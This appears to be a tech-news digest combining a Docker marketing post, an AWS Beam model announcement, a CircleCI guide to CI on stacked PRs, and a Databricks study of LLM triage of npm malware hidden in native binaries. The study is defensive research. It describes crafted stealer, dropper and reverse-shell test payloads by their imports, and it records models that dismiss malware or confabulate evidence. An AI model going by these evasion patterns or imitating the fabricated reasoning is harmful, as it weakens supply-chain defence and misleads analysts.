To be clear: none of that means we suddenly think less of containers or the vital role they will continue to play in the software development process and ecosystem. We are Docker, after all. And lest anyone forget, as the just-released 2026 Stack Overflow Developer Survey confirmed yet again, when it comes to containers, there’s Docker, and there’s everyone else. Docker is the most used (59%) and most desired (38%) tool in the survey’s cloud development category.
Now, we can all agree that the tech industry is inundated with surveys these days. Vendors, analysts, research firms, everyone’s got a groundbreaking new survey. So, if your reflex response to reading about new survey results is to roll your eyes and think here we go again, well, I get it. 
But the annual Stack Overflow Developer Survey isn’t just another survey. When it comes to the developer community, it’s arguably the survey, the one developers themselves pay attention to. Over the course of 16 years, it has become something of a de facto standard for those of us interested in truly understanding how developers think and act. Released earlier this month, the 2026 survey reached more than 30,000 respondents across 169 countries.
Of course, this year’s survey did more than just remind us of Docker’s continued container dominance. It painted a picture of an industry in transition as developers grapple with one of the biggest questions in technology right now: how to bridge the gap between what they want to do with agents and what they can securely and confidently run in production. 
Consider:
	Only 7% of developers trust AI output for important work decisions. Nearly half (48%) trust it only when they can verify it themselves.

	Security and privacy ranked as the second biggest factor in whether teams adopt or expand AI tools (behind only accuracy). 

	Nearly one in four developers said AI-related security or privacy issues cost their team valuable time in the past year.

Put it all together, and the missing ingredient is clear: trust. Developers want to tap into everything agents make possible without crossing their fingers and hoping “everything” doesn’t include a catastrophic security failure.
I didn’t point out those earlier Docker numbers just to brag (though, hey, I’m a marketer, so it was at least part of it). I mentioned them because they’re a reflection of trust — trust earned across more than a decade helping developers make software portable, open, reproducible, and secure. 
Today, we’re building on that foundation and extending that trust into the agentic era. At WeAreDevelopers, you saw the first steps. We launched Docker Cloud Sandboxes, published the next-generation Sandbox Kit specification (which we’ve committed to submitting to the Cloud Native Computing Foundation), and built nearly everything we showed around one idea: helping developers manufacture trust for AI agents. 
If it all looked and felt like a slightly different Docker, that was intentional. We’re at the start of a transformative era for Docker, and you’ll see a lot more from us in the coming weeks and months.
But no matter how much the industry changes, and no matter how much we evolve along with it, one thing won’t change. Docker will continue to run on trust.
If you’d like to see what that looks like in practice, try Docker Sandboxes (and get a $250 credit if you sign up before Oct. 31). You can start an agent on your laptop, ship longer jobs off to the cloud, and bring the results back. We’d love to hear what you think.

Read it at the source



Beam model by Reflection is now available on Amazon SageMaker JumpStart and AWS Trainium

What's New with AWS · Oct 16, 4:00 PM UTC

Beam, the first open weight model offered by US-based Reflection, is now available in Amazon SageMaker JumpStart, the model hub in Amazon SageMaker AI. According to Beam, they operate at the frontier of open weight models in its class, with strong performance across reasoning, coding, and agentic benchmarks. With it, customers can now build advanced coding agents and automated workflows on a frontier open weight model while keeping control of their data and infrastructure and adapting the model to their business. Beam runs alongside other models that customers already use in SageMaker AI and scales to meet production demand with the same controls, audit trails, and monitoring built into every SageMaker AI deployment. Additionally, Beam was ported and optimized for AWS Trainium3, giving customers a high-performance, cost-efficient option for deploying and scaling the model from day one. “Reflection is delivering frontier AI that developers can actually control, not just rent through an API. Bringing Beam to SageMaker AI puts that capability in front of millions of developers on infrastructure they already trust, running in their own AWS account, on their own data, fully in their control," said Misha Laskin, co-founder and CEO, Reflection.
Engineering teams can use Beam to resolve software issues, generate and review code, and automate routine operations work. Businesses can also use it for complex workflows that span many steps and tools, and for advanced math and science reasoning. Because Beam is released under the Apache 2.0 license, customers can inspect and customize the model, while also running it in their own AWS accounts, so data stays private and under their control, protected by the same AWS security and compliance capabilities they already rely on.  “Advanced AI models like Beam, now available on Amazon SageMaker, let us run open weight frontier AI entirely inside our own secure environments, with full visibility into the weights, the data, and the pipeline. In the age of multi-model AI, the pairing of openness and managed infrastructure is an essential addition to the AI ecosystem. The freedom to deploy and adapt advanced AI, tailored to mission problems with client-specific security and controls, gives more agencies greater flexibility to deploy advanced AI across their enterprise." said Garrett Berntsen, Chief AI Officer, Accenture Federal Services.
Beam is initially available in Amazon SageMaker JumpStart in US East (N. Virginia) and US East (Ohio). To start, search for "Beam" in SageMaker JumpStart within Amazon SageMaker Studio, or deploy it directly on SageMaker AI.  To learn more, read the AWS/Beam launch blog, SageMaker AI documentation and SageMaker JumpStart documentation.
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Stacked PRs: what they are and how to run CI on a stack

CircleCI · Oct 16, 4:00 PM UTC

Large pull requests can be a pain to review. When a change touches dozens of files and adds hundreds of lines of code, reviewers have a lot to work through before they can approve it. And if something needs to change, the whole PR goes through another round of review.
Stacked PRs let developers split a large change into smaller, dependent pull requests that can be reviewed separately. GitHub made stacked PRs generally available in October 2026, with support for managing stacks through GitHub or its gh-stack CLI extension.
But smaller PRs don’t necessarily mean less work for continuous integration (CI). Each branch has its own checks, and updating an earlier PR can trigger new pipelines across the rest of the stack. Here’s how stacking works, what changes for CI, and how to avoid repeating builds and tests unnecessarily.
What is a stacked PR?
A stacked pull request is a PR whose base branch is another PR’s branch rather than main. Each PR builds on the one below it, so developers can split a large change into smaller pieces that reviewers can evaluate separately.
Say you’re adding rate limiting to an API. You need to update the config schema, add middleware, connect it to the request handlers, and write integration tests. You could put everything in one large PR, or split the work into four:
main
 └── ratelimit-config                   PR #1
      └── ratelimit-middleware          PR #2
           └── wire-handlers            PR #3
                └── integration-tests   PR #4

Each PR targets the branch directly below it. Reviewers can approve the config changes in PR #1 without having to review the middleware or integration tests at the same time. Meanwhile, the developer can keep working on the later PRs.
As the earlier PRs merge, the remaining branches are updated to reflect those changes. Stacked PRs are sometimes called stacked diffs, a term used by earlier code review systems such as Phabricator.
Why use stacked PRs?
Smaller PRs are generally easier to understand and review. Reviewers can focus on one part of a change, developers get more specific feedback, and it’s easier to identify which change introduced a problem.
Stacking works well when one change depends on another. A developer doesn’t need to wait for the first PR to merge before starting the next, and reviewers can work through the changes separately.
Coding agents make it easier to produce large changes quickly, but reviewing all that code is another matter. Breaking the work into smaller PRs can help, especially when agents run tests and fix problems before pushing changes.
How stacked PRs affect CI
Every PR in a stack needs validation. With four branches, you may have four sets of builds, tests, and required checks running on changes that share much of the same code.
Things get more expensive when you update an earlier PR.
Suppose a reviewer requests an update to ratelimit-config, the first branch in our example. You make the change, then rebase the branches above it. Pushing those branches can trigger another round of pipelines across the stack.
main
 └── ratelimit-config                   Updated → CI
      └── ratelimit-middleware          Rebased → CI
           └── wire-handlers            Rebased → CI
                └── integration-tests   Rebased → CI

Depending on your Git workflow and CI triggers, a change to one PR can result in several new pipelines. GitHub can merge a stack through its merge queue as a single group, but changes to the underlying commits still need fresh validation.
Some of that validation is necessary. If the config schema changes, you’ll want to confirm that the middleware and request handlers still work with it. But running unrelated builds and tests on every branch adds cost without necessarily catching more problems.
How to run CI efficiently on stacked PRs
You don’t need to run a complete build and test suite for every update. CircleCI gives you several ways to avoid unnecessary jobs, run fewer tests, and catch problems before code gets pushed.
Here’s where you can cut unnecessary CI work without losing important checks.
	Technique	What it saves	What it doesn’t
	Path filtering	Unnecessary CI jobs	Tests inside selected jobs
	Smarter Testing	Unnecessary tests and repeated work	All tests affected by earlier stack layers
	Dynamic Parallelism	Excess compute for smaller test suites	Required test execution
	Chunk sidecars	CI runs for errors caught before pushing	Post-push validation
	Agent-assisted debugging	Time spent investigating CI failures	CI runs needed to verify fixes

1. Run only the jobs affected by each PR
Consider a monorepo containing several backend services, a frontend application, and shared libraries. If a PR only changes the API middleware, it probably doesn’t need to trigger a frontend build.
CircleCI’s dynamic configuration lets you select jobs based on which files have changed. With path filtering, you can run the jobs associated with the affected directories without running every workflow in the repository.
For example, the path-filtering orb can map changes in the API and frontend directories to different pipeline parameters:
version: 2.1
setup: true

orbs:
  path-filtering: circleci/path-filtering@1

workflows:
  generate-config:
    jobs:
      - path-filtering/filter:
          base-revision: ratelimit-config
          config-path: .circleci/continue-config.yml
          mapping: |
            api/.*       run-api-tests      true
            frontend/.*  run-frontend-build true

Here, ratelimit-middleware compares its changes against ratelimit-config, the branch directly below it. A change to the API middleware can trigger the API tests without rebuilding the frontend. The continuation config uses those parameters to choose which jobs to run.
Use the parent branch as the comparison point. If every branch in a stack compares against main, the diff can include changes introduced by all the earlier PRs. Jobs associated with those changes may run again even though the current PR hasn’t modified that code.
The example uses a fixed parent branch to show how the comparison works. For a reusable setup, you’ll need to determine each PR’s base branch, for example using GitHub’s API, and pass that revision to your setup workflow. The bottom PR compares against main, while later PRs compare against their immediate parents.
2. Run fewer tests with Smarter Testing
Even when a PR triggers only the relevant jobs, those jobs may still run thousands of tests. For a small change to one middleware function, running the entire API test suite on every rebased branch can add substantial time and compute usage.
CircleCI’s Smarter Testing provides three capabilities that help:
	Test impact analysis uses code coverage data to identify tests affected by source code changes, allowing you to skip tests that don’t cover the modified code.
	Dynamic test splitting distributes tests across parallel nodes as they run, so nodes that finish early can take on additional work.
	Auto-rerun failed tests retries failed tests during the same job, helping distinguish intermittent failures from problems that need investigation.

If only a fraction of your tests cover the affected code, test impact analysis can select those tests instead of running the entire suite.
Test impact analysis considers changes across the stack. CircleCI uses coverage data collected on the default branch to select tests. Because an upper branch contains changes from every layer below it, test selection may include code introduced by earlier PRs. Unlike parent-branch path filtering, test impact analysis doesn’t necessarily isolate the changes in the current layer.
Smarter Testing lets you rerun only failed tests when restarting a failed workflow, without repeating tests that already passed. That capability is free, while advanced features such as test impact analysis, dynamic splitting, and automatic retries use credits beyond your plan’s monthly allowance.
See Getting started with Smarter Testing for setup instructions.
3. Match compute to the number of tests
Say your full test suite normally runs on 20 containers, but test impact analysis selects only a handful of tests for a small PR. Starting all 20 containers would waste compute.
CircleCI’s Dynamic Parallelism, introduced in October 2026, lets you scale the number of parallel nodes to match the work.
You can scale the maximum node count by the share of the test suite selected, so a small change uses fewer nodes. Or set a target duration, such as two minutes, and let CircleCI calculate the number of nodes needed. Both options stay within the minimum and maximum you configure.
For stacked PRs, test impact analysis selects the relevant tests, dynamic splitting distributes them across nodes, and Dynamic Parallelism adjusts how many nodes you start.
Dynamic Parallelism is currently experimental, and its config syntax may change. Like the other advanced Smarter Testing features, it uses test-atom credits beyond your plan’s allowance.
4. Catch failures before pushing
Developers can avoid some CI runs entirely by catching failures before pushing. That’s especially useful when coding agents are making changes across several branches. An agent might introduce a syntax error or break a unit test, then push the code and leave CI to discover the problem.
Chunk sidecars give coding agents a lightweight Linux microVM for validating code during development. The sidecar works alongside the agent’s local workflow, providing feedback before the developer commits or pushes the change.
You can use agent hooks to trigger validation at specific points. A pre-commit hook can run local tests before the agent commits, while a stop hook can run chunk validate when the agent finishes its turn.
If validation fails, the agent gets the test output and can work on a fix while the code is still in context. Developers can review the proposed changes and push them once they’re ready.
For stacked PRs, catching a failure on a lower branch before pushing can prevent an unnecessary round of failing pipelines on the branches above it. Sidecars don’t replace your regular CI checks, but they can help keep routine failures out of them.
5. Help agents fix failures that reach CI
Some failures only show up in CI. A change might work on its own but fail when integrated with another branch, or a test might behave differently in the CI environment.
When a pipeline fails, the CircleCI CLI can pull together diagnostic output from failed steps without requiring developers to open several jobs and search through the logs:
circleci run get --failure-report <run-id>

The command pulls together failure details from the run, including errors across multiple jobs. The CircleCI CLI also has a built-in MCP server, so compatible coding agents can retrieve CI information directly.
If you’re using Claude Code, CircleCI provides a Fix with Claude Code action in the UI. Select the wrench icon on a failing workflow to open Claude Code in your terminal with a preloaded failure-diagnosis workflow.
For other agents, CircleCI provides a Copy Fix Prompt option you can paste into your preferred coding agent.
The agent can use the failure report to investigate the problem and propose a fix. You can review the change and run CI again to verify it works. For a stacked PR, this can save time when an update to an earlier branch introduces a failure farther up the stack.
Keep the checks that matter
Every PR in a stack still needs enough validation to merge safely. You shouldn’t rely entirely on the integration tests in PR #4 to catch problems introduced by the middleware in PR #2. The middleware should pass its own required checks before merging, even if later integration tests provide additional coverage.
Some tests may still need to run across multiple layers, particularly when changes affect shared libraries, interfaces, or interactions between services.
Path filtering, test impact analysis, and Dynamic Parallelism help reduce the work each pipeline performs. Pre-push validation and agent-assisted debugging can reduce the number of times developers need to run CI to reach a passing result.
When should you use stacked PRs?
Stacked PRs work best when a large change can be broken into smaller pieces that reviewers can understand separately. They’re useful when developers want to keep working on dependent changes while earlier PRs are under review.
For a small change, a single PR is usually easier. And if reviewers need to understand the entire feature before they can evaluate any individual PR, splitting the code may create more review work rather than less.
The longer a stack stays open, the more likely you’ll have to deal with changes landing on main. You may end up resolving conflicts and rebasing several branches before the changes are ready to merge.
If managing the stack takes more time than reviewing one larger PR would, you’re probably better off keeping the change together.
Get started
Before adopting stacked PRs, check whether your CI setup runs unnecessary jobs and tests. Path filtering and Smarter Testing can help reduce repeated validation, while Dynamic Parallelism can keep compute usage in line with the number of tests selected.
If your team uses coding agents, Chunk sidecars can catch problems before pushing, and the CircleCI CLI can help agents investigate failures that reach CI.
See dynamic configuration, Smarter Testing, and Chunk sidecars to get started, or sign up for a free CircleCI account to try them out.
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Closing the Binary Blind Spot: Domain-Knowledge Injection for LLM Malware Triage in npm Packages

Databricks · Oct 16, 3:37 PM UTC

Introduction
Supply chain attacks on package registries have grown in volume and sophistication [1]. Public research regularly observes malware being deployed to the npm registry by a range of threat actors, from spam campaigns [2] to the steady proliferation of DPRK malware [3, 4, 5], and to the high-impact TeamPCP in 2025 and 2026 [6, 7], with the DPRK and TeamPCP actors having a track record of successfully compromising widely used open source projects for maximized downstream reach [8].
To study this problem directly, we have been collecting npm malware samples since November 2025, and observed that, among the 11,413 package-versions we scanned and corroborated through OSV npm malware advisories [9], most malware on the npm registry hides its payload in the package source or fetches it from an external server, accounting for 96.2% of the corroborated dataset. The remaining 3.8%, 432 package-versions, bundle a binary. Though small in volume, they can carry disproportionate risk during triage. A stripped, opaque binary that carries no source for tools to read can be nested within a facade of clean source and metadata and potentially skew an LLM towards a benign verdict.
We evaluate how a panel of LLMs reason over crafted binary payloads at varying obfuscation and ambiguity, identify the failure modes specific to this vector, and close them with a purpose-built, cost-effective encoding of domain knowledge that improves detection quality for both budget and frontier models alike.
Background
To support the wider research community, we built a scanner that monitors the npm registry in real time and runs a static stage before LLM triage, with YARA [10] on the tarball, Semgrep [11] and the npm registry API on the JavaScript and metadata, and a binary-analysis module over the compiled artifact. It assembles the output into a structured prompt, and the LLM returns a verdict with reasoning, requesting additional files over up to three rounds.
Our analysis found packages with bundled binaries to be both the rarest and the hardest for the pipeline to triage. An adversary distributing malicious JavaScript can assume the target already has the runtime to execute the payload, whereas a binary must be compiled for a range of target machines. Across OSV-confirmed npm malware, binary-bearing packages fail to reach a decisive malicious verdict more than twice as often as source-only ones (14.4% vs 6.2%).
Prior work instruction-tunes open-source models on expert-authored data, baking the knowledge into the weights [12]. That route cannot reach the closed, hosted models, and it requires retraining as the threat landscape shifts. We take the opposite approach and supply the expertise at inference, as pre-computed static evidence placed in the prompt before the model reasons.
Experimental Design
Objective
We evaluate whether LLMs can detect malicious logic concealed within precompiled binaries in otherwise clean packages. A secondary question is whether the detection failures are systematic rather than random. Third, whether encoding domain knowledge of the binary problem can improve detection accuracy.
Adversarial Payloads
We built five payload types (Table 1) of native Node.js addons (.node files) covering common supply chain attack patterns. Imports range from defensible (fopen, connect, gethostname) to rarely legitimate (execve with dup2), and each package wraps the binary in a professional package.json, README, JavaScript bindings, and binding.gyp.
The sysmon stealer spans an obfuscation ladder from a readable baseline to a hardened build with symbols stripped and strings XOR-encoded, while the other four types appear at a single obfuscation level. We chose single-byte XOR deliberately, since unlike a stronger cipher such as RC4 it leaves no structural markers in disassembly for a model to catch.
The set mirrors collected malware. Across the OSV-confirmed npm packages shipping a binary, formats are PE, ELF (all stripped), and Mach-O, with behaviors spanning credential and environment theft, persistence, exfiltration and C2, host reconnaissance, and droppers.
Table 1. Adversarial payload types and their import profiles.
	Package	Type	Key Imports	Ambiguity
	sysmon-native	Credential stealer	fopen, connect, send, gethostname	HIGH
	buildchain-native	Dropper/backdoor	execve, connect, chmod, socket, fwrite	LOW
	netpulse-native	Reverse shell	execve, dup2, connect, socket	LOW
	hashworker-native	Cryptominer stub	pthread_create, connect, send, recv	MEDIUM
	taskd-native	Persistence	system, fopen, fwrite, chmod	MEDIUM

Models Tested
We evaluated nine models across seven providers (Table 2): seven budget models a team would realistically run across its codebase, four of them open-weight, and two higher-capability baselines as behavioral baseline references at higher price points. We also ran Claude Opus 4.6, the most expensive model, only as a cost reference.
Table 2. Models evaluated and their roles.
	Model	Provider	Role	Type
	Claude Haiku 4.5	Anthropic	Budget	Proprietary
	Google Gemini 3.5 Flash	Google	Budget	Proprietary
	Gemma 3 12B	Google	Budget	Open-weight
	GPT-5.4-nano	OpenAI	Budget	Proprietary
	Qwen3-Next 80B	Alibaba	Budget	Open-weight
	GLM 5.3 Flash	Zhipu	Budget	Open-weight
	Llama 3.1 8B	Meta	Budget	Open-weight
	Claude Sonnet 4.6	Anthropic	Baseline behavior	Proprietary
	Kimi K3	Moonshot	Baseline behavior	Open-weight
	Claude Opus 4.6	Anthropic	Cost baseline	Proprietary

To isolate the profiles, each payload was scanned twice per model, once without profiles and once with them. Prompt, context, and binary analysis were identical across both runs. Inference settings were held constant across every model and both conditions: temperature 0, the same system and analysis prompts throughout, and an 8192-token output cap.
Capability Profile Architecture
A capability profile is a declarative playbook that encodes one malicious technique, such as credential harvesting or persistence, as a set of weighted conditions over the scanner's static evidence. The profiles cover source and binary techniques across npm and PyPI.
Figure 1 shows how a profile enters a scan:
	The static stage extracts evidence from the package.
	Each profile scores that evidence against its suspicious, malicious, and critical thresholds, a scale separate from the model's own verdict.
	When a threshold is reached, the engine injects a structured summary (~1,800 tokens) into the prompt before the model reasons, along with any findings from the static and metadata analyzer stage.
	The model forms its own verdict over the combined evidence and, in this experiment, may override a firing profile entirely.

Figure 1. The scan pipeline with capability profiles.
Results
Each model was scanned against all ten payloads. We count HIGHLY_SUSPICIOUS or MALICIOUS as a detection success; SUSPICIOUS or BENIGN on a known-malicious payload is a failure. The failure analysis centers on the seven-model budget tier (70 model-payload tests); the two baselines (20 tests) serve only as a reference ceiling and are reported separately.
Without Capability Profiles
Without profiles, the budget tier failed on 35 of 70 tests (50%), 20 of them outright benign, and fell short of the malicious bar on 51 (73%). The two behavior baselines failed none at the escalation threshold and fell short of malicious only once (Sonnet, sysmon v3). Within the budget tier the failures followed distinct, repeatable model-specific patterns (Table 3) rather than random error; Gemini alone matched the baselines on detection, though through confabulated reasoning rather than genuine analysis. The full verdict and confidence matrix is in the appendix (Table A1).
With Capability Profiles
With profiles enabled, 32 of the 35 no-profile detection failures (91%) recover to a detection, and no model returns a benign verdict on any payload. Every model that failed without profiles reached full detection with them, except GPT-5.4-nano, whose three residual failures stay at suspicious on three payloads. Across the affordable tier, failures at the escalation threshold fell from 50% to 4% (3 of 70), and at the malicious bar from 73% to 34%.
Table 3. Per-model detection rate (verdict at highly suspicious or above on a known-malicious payload) without and with capability profiles.
	Model	Without profiles	With profiles
	GPT-5.4-nano	0/10	7/10
	Qwen3-Next 80B	1/10	10/10
	Llama 3.1 8B	4/10	10/10
	Gemma 3 12B	5/10	10/10
	Claude Haiku 4.5	6/10	10/10
	GLM 5.3 Flash	9/10	10/10
	Gemini 3.5 Flash	10/10	10/10
	Claude Sonnet 4.6	10/10	10/10
	Kimi K3	10/10	10/10

The clearest single case is Qwen3-Next on the obfuscated sysmon-native stealer: benign at 0.98 recommending allowlist without profiles, malicious at 0.98 recommending block with them, on byte-identical input, after four profiles fired. The baselines, Sonnet and Kimi, were already correct without profiles, and the evidence strengthens their verdicts, so the profiles reinforce rather than distort a model that already reasons correctly.
Profile Triggers
Technique-specific profiles fired according to each payload’s attack pattern.
Table 4. Capability profiles triggered per payload at critical or malicious threshold.
	Package	Critical Profiles Triggered
	sysmon-native	T004 (Binary Masquerade), T001 (Credential Harvesting), T002 (Network Exfiltration), T003 (Environment Reconnaissance)
	buildchain-native	T004 (Binary Masquerade), T007 (Dropper/Stager), T002 (Network Exfiltration), T001 (Credential Harvesting)
	netpulse-native	T004 (Binary Masquerade), T006 (Reverse Shell)
	hashworker-native	T004 (Binary Masquerade), T002 (Network Exfiltration)
	taskd-native	T004 (Binary Masquerade)

Discussion
Failure Mode Analysis
The experiment surfaced four failure modes, each spanning a large fraction of the panel rather than any single model (Table 5). They are not mutually exclusive, since one benign verdict can be both a dismissal and a rationalization, so the table reports per-mode prevalence and a model's row can sum past ten. We read dismissal and hedging from the verdict tier, rationalization and confabulation from the written reasoning.
Two factors explain them. The first is domain knowledge, which budget LLMs lack for interpreting binary structural evidence in a package's context [13]. The second is raw capability. Reading a stripped, string-obfuscated binary requires disassembly and decoding that the budget tier did not attempt.
Table 5. Per-model failure-mode counts across the ten payloads without profiles, spanning all nine models (90 scans).
	Model	Rationalization	Dismissal	Hedging	Confabulation
	Haiku 4.5	4	–	4	4
	Sonnet 4.6	–	–	–	4
	Gemini 3.5 Flash	–	–	–	4
	Gemma 3 12B	5	5	–	–
	GLM 5.3 Flash	1	–	1	2
	GPT-5.4-nano	10	2	8	–
	Kimi K3	–	–	–	6
	Qwen3-Next 80B	9	9	–	–
	Llama 3.1 8B	5	4	2	1
	Models (of 9)	6	4	4	6
	Prevalence	~37%	22%	16%	~23%

An ensemble that takes the majority verdict would not resolve this. On the obfuscated sysmon-native stealer (version 2), the nine verdicts split three benign (Gemma, Qwen, Llama), two suspicious (Haiku, GPT-5.4-nano), one highly suspicious (GLM), three malicious (Gemini, Kimi, Sonnet): the majority sits below the detection threshold, so the vote returns the wrong answer. The modes do not cancel out; they compound, so no voting scheme gives reliable coverage without first closing the domain-knowledge gap. This matches known limits of majority voting in LLM ensembles, where correlated errors converge on the wrong answer rather than canceling [14, 15].
Rationalization (~37% of scans, six models) invokes contextual cues, the install script, native-module packaging, or package description, to build a benign interpretation that overrides the binary signals. Haiku called the unobfuscated sysmon v1 MALICIOUS 0.98, but once the strings were XOR-encoded its verdict fell to SUSPICIOUS, treating node-gyp-build as standard and the .node extension as a legitimate addon, matching documented post-hoc rationalization [16]. Obfuscation thus inverts the expected relationship. The more thoroughly the payload is concealed, the lower the assigned severity, and because the rationale stays internally coherent, evaluation on unobfuscated samples would never elicit it.
Dismissal (22%, four models) returns a benign verdict without engaging the binary at all. Qwen3-Next returned BENIGN 0.98 on nine of the ten payloads and recommended allowlisting each, including the netpulse reverse shell and the taskd persistence tool, with a stated intent that ignored the binary's imports entirely. The verdict is insensitive to import ambiguity, and the uniform high confidence conceals the failure from any downstream threshold.
Hedging (16%, four models) registers suspicion but never escalates to a decisive verdict. GPT-5.4-nano returned SUSPICIOUS at 0.55-0.62 on eight of the ten payloads, never reaching highly suspicious or malicious, with buildchain-native drawing only SUSPICIOUS 0.62 and a recommended action of "Monitor." A suspicious verdict looks like functioning analysis while adding nothing beyond the YARA and Semgrep stages, and under a policy that blocks only at the malicious threshold these payloads pass.
Confabulation (~23%, six models) is the odd case, where the verdict is correct but its justification is fabricated, so a pipeline that logs it for audit accumulates fabricated indicators that mislead a later analyst or any model fine-tuned on them. It appears even in both baselines, so it recurs regardless of capability tier. Gemini is the clearest case. It returned MALICIOUS on all ten payloads but invented the detail, reporting "a decryption routine at address 0x401490" on taskd and "a custom XOR decryption loop at 0x4013b0" on netpulse, though neither address exists in the scan input and neither payload contains a cipher. The fabrication concentrates where the evidence is thinnest, in the single-function x86 payloads whose scan exposes one real address.
The Structural Gap
The under-detections are structural, not a defect of individual models. The budget-tier failures below the escalation threshold are dominated by rationalization and dismissal, where the binary sits alongside clean source, a node-gyp-build install script, professional metadata, and a plausible README, each unremarkable for a native module. No single artifact misleads the model. Every one of the 35 failures leans on at least two of these benign signals, 24 on four at once, and 14 recast the binary's own imports as standard system calls (Table 6). LLMs can analyze binary evidence in isolation [17, 18], but here the failure is contextual.
Table 6. Benign contextual signals cited across the 35 detection failures.
	Benign Signal Cited	Count
	install script (node-gyp-build) called standard	35/35
	native-addon / .node packaging	35/35
	metadata / stated purpose "consistent with"	32/35
	clean lib/index.js JavaScript	21/35
	binary's own imports recast as "standard/normal"	14/35

Predictability of Failure Modes
The modes are predictable in that each model exhibits one, though none is deterministic across a model's whole output, so defenders cannot simply pick a better model. The two categories even fail differently, with dismissal almost entirely an open-weight behavior (18 of the 20 no-profile benign verdicts from Gemma, Qwen, and Llama) while the proprietary models rarely dismiss and instead rationalize, hedge, or confabulate. This bears on model selection. A test set of a few unobfuscated or low-ambiguity packages makes a budget model look sufficient while hiding its failure on the obfuscated credential stealer, and obfuscation recurs in real malware, with the Binary String Obfuscation profile firing on 74 of the 425 OSV-confirmed binary packages (17%). Testing only high-ambiguity payloads has the opposite effect, condemning a serviceable model and pushing a team to overspend on a frontier one. A correct verdict also does not imply a correct label, as budget models often flagged maliciousness while assigning the wrong category, so the category and stated evidence are triage hints, not ground truth for attribution.
Cost Implications
The baselines Sonnet 4.6 and Kimi K3 detected every payload without profiles, at roughly 3x the per-scan cost of the budget tier, which with profiles matches that accuracy at the lower price. Profiles also change the token work each model does (Table 7), and the direction depends on how hard the model works unaided. The budget tier takes a modest input premium from the ~1,800-token evidence block, with input rising 9 to 34% and its analysis otherwise unchanged, whereas the thorough models move the other way. Opus, which without profiles gathers about 10.5K input tokens per scan requesting extra files, drops to 7.2K with them (−32%), and Kimi emits 13% fewer output tokens for the same reason. Profiles add a small, bounded input cost to the cheap models and claw back far more from the expensive ones.
Table 7. Per-model token usage per scan, averaged over the ten payloads, without and with capability profiles.
	Model	Input (no profiles)	Input (profiles)	Δ input	Output (no profiles)	Output (profiles)	Δ output
	Haiku 4.5	5,381	7,213	+34%	933	1,616	+73%
	Gemini 3.5 Flash	7,000	7,614	+9%	493	488	−1%
	Gemma 3 12B	5,866	7,623	+30%	420	506	+21%
	GPT-5.4-nano	4,900	6,428	+31%	568	729	+28%
	Qwen3-Next 80B	5,691	7,267	+28%	523	772	+48%
	GLM 5.3 Flash	5,531	6,606	+19%	746	1,110	+49%
	Llama 3.1 8B	4,884	6,402	+31%	302	351	+16%
	Sonnet 4.6	5,382	7,214	+34%	1,150	1,472	+28%
	Kimi K3	8,706	9,388	+8%	5,572	4,842	−13%
	Opus 4.6	10,551	7,214	−32%	1,254	1,370	+9%

Production Validation
Malicious Set
Public OSV advisories [9], excluding withdrawn entries, confirm 470 malicious npm package-versions that ship a native binary, 604 binaries in total. By format they are PE (273), ELF (215, every one stripped), and Mach-O (113), with 3 unidentified; by compiler, 363 are native C or C++, 183 Go, and 58 Rust. The 241 Go or Rust binaries, 40% of the total, are the case the engine's runtime-aware gating exists for, and 50, all ELF, are UPX-packed. Of these 470, 425 fall in our scanned, non-withdrawn corpus form the evaluation set in Detection.
Benign Set
The benign set is defined from external signals only, with no reliance on the engine's own verdict. A package qualifies when it ships a native binary, exceeds one million monthly downloads, and has never appeared in OSV, giving 2,449 package-versions across 287 distinct packages. The scanner escalates 104 of them to highly suspicious or above, a false-positive rate of 4.25% of package-versions, concentrated in 6 distinct packages, 2% of the 287. On all 104 the static playbooks also fired, and on 33 a binary capability profile reached the malicious or critical threshold, so the escalation reflected genuine signals in the binary, packing, high-entropy sections, and suspicious imports. The residual false-positive rate is a property of static binary ambiguity.
Detection
The evaluation set is the 425 binary-bearing package-versions from the Malicious Set that carry a production verdict (the non-withdrawn subset in our verdicted corpus). Against these and the benign set, the scanner reaches precision 0.77, recall 0.81, and F1 0.79 at the escalation threshold (Table 8). Recall is scored against OSV's package-level label, which does not isolate the malicious artifact, and a binary capability profile drove 74% of the detections while the rest were escalated on JavaScript, metadata, or source signals.
Table 8. Detection performance across OSV-confirmed binary malware and the benign validation corpus at the escalation threshold.
	TP	FN	FP	TN	Precision	Recall	F1
	345	80	104	2345	0.77	0.81	0.79

The scanner recovers 345 of the 425 positives; 60 fall to suspicious and 20 are cleared as benign, a 4.7% hard-miss rate. Inspecting the metadata of the 20 cleared packages, without opening the binaries, about half bundle a recognizable third-party tool unchanged (ripgrep, node-pty, NSIS installer plugins) where OSV attributes the malice to the install or JavaScript layer; the rest ship the package's own compiled CLI, flagged for an account-compromise campaign or a low-confidence advisory. The binary-level miss rate is thus lower than the headline, though we do not claim every cleared binary is benign.
Limitations
The production figures are measured against OSV's package-level labels, which mark a whole package malicious without isolating the responsible artifact; some cleared packages are mislabeled, their payload in JavaScript or metadata rather than the binary. So the reported recall and false-positive rate describe performance against those labels, not binary detection specifically, which could be somewhat higher or lower. And the hosted models sit behind continuously updated endpoints, so absolute verdicts reflect one serving epoch and may drift, which is why our conclusions rest on the within-epoch delta between no-profile and with-profile conditions on byte-identical inputs, not on any single verdict.
Conclusion
The four failure modes, rationalization, dismissal, hedging, and confabulation, recur across the panel, producing detection failures on 50% of budget-tier tests at the escalation threshold and 73% at the stricter malicious bar. Capability profiles, which inject pre-computed binary domain knowledge before the model reasons, cut escalation-threshold failures to 4% and eliminate every benign verdict, while holding false positives on the benign set to 4.25% of package-versions (104 of 2,449; 2% of distinct packages), low enough for an analyst to clear by hand. Together these let a far cheaper model match the detection accuracy of a substantially more expensive one.
Appendix
Table A1. Verdicts without capability profiles (verdict and confidence), per model and payload. This is the full matrix summarized in Table 3 and the Results Without Capability Profiles section.
	Model	buildchain	hashworker	netpulse	taskd	sysmon v1	sysmon v2	sysmon v3	sysmon v4	sysmon v5	sysmon v6
	Claude Haiku 4.5	HIGHLY_SUSP 0.85	HIGHLY_SUSP 0.85	MAL 0.92	HIGHLY_SUSP 0.85	MAL 0.98	SUSP 0.72	SUSP 0.65	SUSP 0.65	HIGHLY_SUSP 0.78	SUSP 0.72
	Gemini 3.5 Flash	MAL 0.98	MAL 0.99	MAL 0.98	MAL 0.98	MAL 0.98	MAL 0.95	MAL 0.95	MAL 0.95	MAL 0.95	MAL 0.95
